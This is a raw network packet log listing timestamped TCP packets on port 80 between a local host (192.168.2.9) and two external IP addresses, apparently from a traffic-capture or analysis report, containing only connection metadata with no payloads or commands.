Sep 21, 2024 13:33:42.035770893 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035825968 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.035890102 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.035948038 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036091089 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.036123991 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.036145926 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036158085 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.036170959 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036190033 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.036204100 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036225080 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.036236048 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036269903 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036276102 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.036309958 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.036328077 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036343098 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.036353111 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036377907 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.036386013 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036429882 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.036966085 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037018061 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037020922 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.037050009 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037062883 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.037095070 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.037101030 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037133932 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037148952 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.037166119 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037180901 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.037199974 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037225962 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.037251949 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.037379026 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037410975 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037431002 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.037445068 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.037463903 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.037487984 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038140059 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038172960 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038196087 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038207054 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038218975 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038253069 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038316011 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038347960 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038366079 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038378954 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038393974 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038414001 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038424969 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038453102 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038460970 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038486004 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038497925 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038520098 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038530111 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038561106 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038790941 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038822889 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038840055 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038857937 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.038873911 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038907051 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.038952112 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.039001942 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.039006948 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.039035082 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.039046049 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.039067030 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.039079905 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.039098978 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.039113045 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.039132118 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.039146900 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.039179087 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.039202929 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.039225101 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.041531086 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.041589975 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.041652918 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.041686058 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.041711092 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.041738033 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.046401978 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046463966 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046505928 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046515942 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046531916 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046549082 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046581984 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046614885 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046642065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046642065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046648026 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046680927 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046684027 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046714067 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046730042 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046730042 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046746969 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046782017 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046827078 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046827078 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046857119 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046890020 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046912909 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046921968 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046956062 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.046981096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046981096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.046988964 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047023058 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047040939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047041893 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047166109 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047588110 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047622919 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047655106 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047688007 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047729969 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047729969 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047738075 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047771931 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047799110 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047799110 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047805071 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047820091 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047837973 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047872066 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047893047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047893047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047907114 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047940969 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.047955990 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047956944 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.047974110 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048010111 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048022032 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048022032 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048044920 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048058033 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048079967 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048115015 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048129082 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048129082 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048147917 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048180103 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048208952 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048208952 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048213005 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048235893 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048249006 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048269987 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048283100 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.048333883 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.048335075 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.049377918 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.049411058 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.049444914 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.049493074 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.049493074 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.049716949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.050244093 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050276995 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050312042 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050316095 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050345898 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050363064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050363064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050399065 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050429106 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050432920 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050472975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050484896 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050487041 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050520897 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050554991 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050580978 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050580978 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050589085 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050622940 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050638914 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050638914 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050657034 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050678968 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050733089 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050760984 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050765991 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050791025 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050798893 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050832987 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050853014 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050853014 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050865889 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050887108 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.050899982 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050935984 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.050961018 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051175117 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051227093 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051278114 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051306963 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051311016 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051343918 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051361084 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051361084 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051377058 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051389933 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051431894 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051448107 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051465988 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051487923 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051500082 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051532030 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051548004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051548004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051563978 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051587105 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051599026 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051620007 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051631927 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051654100 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051666021 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051700115 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051712036 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051712036 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051733971 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051758051 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051815987 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051855087 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051868916 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051870108 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051887989 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051909924 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051920891 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051953077 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.051964045 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051964045 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.051989079 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052006006 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052056074 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052160025 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052212000 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052237988 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052248001 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052269936 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052284002 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052311897 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052319050 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052351952 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052367926 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052367926 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052383900 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052407980 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052417994 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052449942 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052459002 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052459002 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052484035 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052508116 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052516937 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052550077 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052558899 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052558899 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052582026 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052606106 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052615881 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052634954 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052649975 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052673101 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052684069 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052702904 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052717924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052755117 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052767038 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052767038 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052788019 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052813053 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052822113 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052870989 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052870989 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.052900076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.052979946 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053250074 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053299904 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053333044 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053356886 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053365946 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053397894 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053431034 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053447962 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053447962 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053463936 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053497076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053518057 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053518057 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053530931 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053554058 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053564072 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053599119 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053607941 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053607941 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053632975 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053654909 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053666115 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053699970 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053709984 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053709984 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053731918 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053756952 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053766012 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053781033 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053802013 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053827047 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053839922 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053873062 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053886890 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053886890 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053905964 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.053930044 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.053987980 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.054034948 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.054034948 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.054678917 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.054713011 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.054742098 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.054745913 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.054779053 CEST	80	49709	147.45.44.104	192.168.2.9
